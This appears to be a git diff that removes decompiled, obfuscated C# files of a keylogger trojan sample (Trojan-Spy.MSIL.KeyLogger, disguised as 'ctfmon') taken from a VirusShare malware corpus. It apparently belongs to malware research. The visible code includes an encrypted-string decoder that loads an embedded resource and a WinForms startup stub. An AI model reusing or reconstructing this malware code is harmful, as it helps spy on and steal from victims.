@ -1,20 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null
// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe
using System.Runtime.InteropServices;
namespace \u0002
{
internal sealed class \u0002
{
internal static \u0002.\u0002.\u0001 \u0001;
[StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)]
private struct \u0001
{
}
}
}

1013
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002/_0003.cs
View File

File diff suppressed because it is too large Load Diff

9
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002_0002.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null
// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe
using System.Runtime.InteropServices;
internal delegate char \u0002\u0002([In] object obj0, [In] int obj1);

9
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002_0003.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null
// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe
using System.Diagnostics;
internal delegate Process \u0002\u0003();

12
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003/Token20000A5.cs
View File

@ -1,12 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .Token20000A5
// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null
// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe
namespace \u0003
{
internal class Token20000A5 : \u0024Unresolved\u0024Token\u003A2003FFF
{
}
}

51
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003/_0001.cs
View File

@ -1,51 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null
// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe
using \u0003;
using System.Runtime.InteropServices;
namespace \u0003
{
internal sealed class \u0001
{
internal static long \u0001;
internal static long \u0002;
internal static \u0001.\u0001 \u0001;
internal static \u0001.\u0001 \u0002;
internal static \u0001.\u0002 \u0001;
internal static \u0001.\u0002 \u0002;
internal static \u0001.\u0003 \u0001;
internal static \u0001.\u0003 \u0002;
internal static \u0001.\u0004 \u0001;
internal static \u0001.\u0004 \u0002;
internal static \u0001.\u0005 \u0001;
[StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)]
private struct \u0001
{
}
[StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)]
private struct \u0002
{
}
[StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)]
private struct \u0003
{
}
[StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)]
private struct \u0004
{
}
[StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)]
private struct \u0005
{
}
}
}

124
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003/_0002.cs
View File

@ -1,124 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null
// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe
using System;
using System.Collections;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
namespace \u0003
{
internal sealed class \u0002
{
[NonSerialized]
internal static \u0001.\u0002 \u0001;
private static string \u0001;
private static string \u0002;
private static byte[] \u0001;
private static Hashtable \u0001;
private static bool \u0001;
private static int \u0001;
public static string \u0002([In] int obj0)
{
obj0 -= \u0003.\u0002.\u0001;
if (\u0003.\u0002.\u0001)
{
string str = (string) \u0099.\u007E\u0089\u0003((object) \u0003.\u0002.\u0001, (object) obj0);
if (str != null)
return str;
}
int num1 = obj0;
byte[] numArray1 = \u0003.\u0002.\u0001;
int index1 = num1;
int num2 = index1 + 1;
int num3 = (int) numArray1[index1];
int num4;
if ((num3 & 128) == 0)
{
num4 = num3;
if (num4 == 0)
return string.Empty;
}
else if ((num3 & 64) == 0)
{
num4 = ((num3 & 63) << 8) + (int) \u0003.\u0002.\u0001[num2++];
}
else
{
int num5 = (num3 & 31) << 24;
byte[] numArray2 = \u0003.\u0002.\u0001;
int index2 = num2;
int num6 = index2 + 1;
int num7 = (int) numArray2[index2] << 16;
int num8 = num5 + num7;
byte[] numArray3 = \u0003.\u0002.\u0001;
int index3 = num6;
int num9 = index3 + 1;
int num10 = (int) numArray3[index3] << 8;
int num11 = num8 + num10;
byte[] numArray4 = \u0003.\u0002.\u0001;
int index4 = num9;
num2 = index4 + 1;
int num12 = (int) numArray4[index4];
num4 = num11 + num12;
}
try
{
byte[] numArray5 = \u008E.\u009C\u0002(\u0091.\u007E\u0013\u0004((object) \u0013\u0002.\u0014\u0004(), \u0003.\u0002.\u0001, num2, num4));
string str = \u009A\u0002.\u008F\u0002(\u0091.\u007E\u0013\u0004((object) \u0013\u0002.\u0014\u0004(), numArray5, 0, numArray5.Length));
if (\u0003.\u0002.\u0001)
{
try
{
\u0091\u0002.\u007E\u0087\u0003((object) \u0003.\u0002.\u0001, (object) obj0, (object) str);
}
catch
{
}
}
return str;
}
catch
{
return (string) null;
}
}
static \u0002()
{
\u0001.\u0003.\u0002();
\u0003.\u0002.\u0001 = "0";
\u0003.\u0002.\u0002 = "74";
\u0003.\u0002.\u0001 = (byte[]) null;
\u0003.\u0002.\u0001 = (Hashtable) null;
\u0003.\u0002.\u0001 = false;
\u0003.\u0002.\u0001 = 0;
if (\u0095\u0002.\u0082\u0002(\u0003.\u0002.\u0001, "1"))
{
\u0003.\u0002.\u0001 = true;
\u0003.\u0002.\u0001 = new Hashtable();
}
\u0003.\u0002.\u0001 = \u0006\u0002.\u009B\u0002(\u0003.\u0002.\u0002);
Assembly assembly = \u009F\u0002.\u009E\u0003();
Stream stream = \u0006\u0003.\u007E\u009C\u0003((object) assembly, "{2b1874d2-b5d6-4fc2-9c40-41c2d3a7e9b2}");
try
{
int length = \u009F.\u009A\u0002(\u0090\u0002.\u007E\u001B\u0004((object) stream));
byte[] numArray = new byte[length];
int num = \u007F\u0003.\u007E\u001E\u0004((object) stream, numArray, 0, length);
\u0003.\u0002.\u0001 = \u0002.\u0003.\u0002(numArray);
\u0010\u0002.\u007E\u001D\u0004((object) stream);
}
finally
{
if (stream != null)
\u0010\u0002.\u007E\u0080\u0002((object) stream);
}
}
}
}

93
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003/_0003.cs
View File

@ -1,93 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null
// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe
using \u0004;
using Microsoft.VisualBasic.ApplicationServices;
using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace \u0003
{
[GeneratedCode("MyTemplate", "8.0.0.0")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class \u0003 : WindowsFormsApplicationBase
{
private static List<WeakReference> \u0001 = new List<WeakReference>();
[DebuggerNonUserCode]
static \u0003()
{
}
[DebuggerNonUserCode]
private static void \u0002([In] object obj0)
{
List<WeakReference> weakReferenceList = \u0003.\u0003.\u0001;
\u0010\u0002.\u001E\u0003((object) weakReferenceList);
try
{
if (\u0003.\u0003.\u0001.Count == \u0003.\u0003.\u0001.Capacity)
{
int index1 = 0;
int num = checked (\u0003.\u0003.\u0001.Count - 1);
int index2 = 0;
while (index2 <= num)
{
WeakReference weakReference = \u0003.\u0003.\u0001[index2];
if (\u008D.\u007E\u001D\u0003((object) weakReference))
{
if (index2 != index1)
\u0003.\u0003.\u0001[index1] = \u0003.\u0003.\u0001[index2];
checked { ++index1; }
}
checked { ++index2; }
}
\u0003.\u0003.\u0001.RemoveRange(index1, checked (\u0003.\u0003.\u0001.Count - index1));
\u0003.\u0003.\u0001.Capacity = \u0003.\u0003.\u0001.Count;
}
\u0003.\u0003.\u0001.Add(new WeakReference(\u001C\u0003.\u0083\u0004(obj0)));
}
finally
{
\u0010\u0002.\u001F\u0003((object) weakReferenceList);
}
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
[STAThread]
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
internal static void \u0002([In] string[] obj0)
{
\u0001.\u0001.\u0003();
try
{
\u000F\u0002.\u0097\u0004(\u008D\u0003.\u0081());
}
finally
{
}
\u009A.\u007E\u007F((object) \u0002.\u0002(), obj0);
}
public \u0003()
: base(AuthenticationMode.Windows)
{
\u0003.\u0003.\u0002((object) this);
\u008F\u0003.\u007E\u0087((object) this, false);
\u008F\u0003.\u007E\u0086((object) this, true);
\u008F\u0003.\u007E\u0083((object) this, true);
\u009E\u0002.\u007E\u0084((object) this, ShutdownMode.AfterMainFormCloses);
}
protected override void OnCreateMainForm() => \u008C.\u007E\u0080((object) this, (Form) \u0002.\u0002().\u0002());
}
}

10
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003_0002.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null
// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe
using System.Drawing;
using System.Runtime.InteropServices;
internal delegate void \u0003\u0002([In] object obj0, [In] Icon obj1);

10
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003_0003.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null
// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe
using System.Runtime.InteropServices;
using System.Windows.Forms;
internal delegate Control.ControlCollection \u0003\u0003([In] object obj0);

12
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004/Token20000A7.cs
View File

@ -1,12 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .Token20000A7
// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null
// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe
namespace \u0004
{
internal class Token20000A7 : \u0024Unresolved\u0024Token\u003A2003FFF
{
}
}

22
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004/_0001.cs
View File

@ -1,22 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null
// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe
using Microsoft.VisualBasic.Devices;
using System.CodeDom.Compiler;
using System.ComponentModel;
namespace \u0004
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal sealed class \u0001 : Computer
{
[EditorBrowsable(EditorBrowsableState.Never)]
public \u0001()
{
}
}
}

Some files were not shown because too many files have changed in this diff Show More